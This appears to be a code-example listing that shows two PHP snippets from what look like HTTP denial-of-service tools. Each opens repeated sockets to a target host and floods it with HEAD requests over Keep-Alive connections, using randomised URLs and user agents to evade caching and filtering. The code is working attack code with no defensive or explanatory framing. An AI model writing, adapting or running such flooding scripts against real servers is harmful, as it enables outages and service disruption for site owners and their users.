Example #1
0
//Most servers limit Keep-Alive sessions to 100 requests per connection
if ($max_requests_per_connection > 100) {
    $max_requests_per_connection = 100;
}
if ($max_requests_per_connection < 1) {
    $max_requests_per_connection = 1;
}
//Work out how many connections to make in order to fulfill the max_requests
$max_connections = ceil($max_requests / $max_requests_per_connection);
for ($c = 0; $c < $max_connections; $c++) {
    //Stay within our max_connections limit
    echo "Opening connection [" . ($c + 1) . "] to " . $target_url['host'] . "..";
    @($attack_socket = fsockopen($target_url['host'], $target_url['port'], $errno, $errstr, 3));
    if (!$attack_socket) {
        echo "failed (" . $errstr . ")" . $lb;
    } else {
        echo "success" . $lb . "Sending requests: |";
        for ($r = 0; $r < $max_requests_per_connection; $r++) {
            //Stay within our max_requests_per_connection limit
            $request = "HEAD " . str_replace("%rand%", quick_rand(), $request_url) . " HTTP/1.1\r\nHOST: " . $target_url['host'] . "\r\nUser-Agent: " . $useragent . "\r\nConnection: Keep-Alive\r\n\r\n";
            @fwrite($attack_socket, $request);
            echo ".";
            usleep($delay_between_requests * 1000000);
            //Delay between requests
        }
        echo "|" . $lb;
    }
    @fclose($attack_socket);
    echo "Closed connection" . $lb;
    usleep($delay_between_connections * 1000000);
}
Example #2
0
function sendphpstress($target_url, $request_url, $mr, $mpc, $dbr, $dbc)
{
    // max requests divided by max requests per connection
    $max_connections = ceil($mr / $mpc);
    echo "[!] To exit press control C or whatever TTY options are set to exit command line program\n\n\n";
    // lets loop through connections
    for ($c = 0; $c < $max_connections; $c++) {
        echo "Opening connection [" . ($c + 1) . "] to " . $target_url['host'] . "..";
        @($attack_socket = fsockopen($target_url['host'], $target_url['port'], $errno, $error, 3));
        // cant open socket display fail
        if (!$attack_socket) {
            echo "failed (" . $error . ")" . "\n";
        } else {
            // Success lets send out connections
            echo "success" . "\n" . "Sending requests: |";
            //Stay within our max_requests_per_connection limit
            for ($r = 0; $r < $mpc; $r++) {
                // grab a ran user agent
                $useragent = userAgentRand();
                // build payload for attack
                $request = "HEAD " . str_replace("%r%", quick_rand(), $request_url) . " HTTP/1.1\r\nHOST: " . $target_url['host'] . "\r\nUser-Agent: " . $useragent . "\r\nConnection: Keep-Alive\r\n\r\n";
                // write socket and make connection
                @fwrite($attack_socket, $request);
                echo ".";
                // Delay between requests 1 second requests
                usleep($dbr * 1000000);
            }
            echo "|" . "\n";
        }
        @fclose($attack_socket);
        echo "Closed connection" . "\n";
        // amount of time to delay between connections
        usleep($dbc * 1000000);
    }
    return True;
}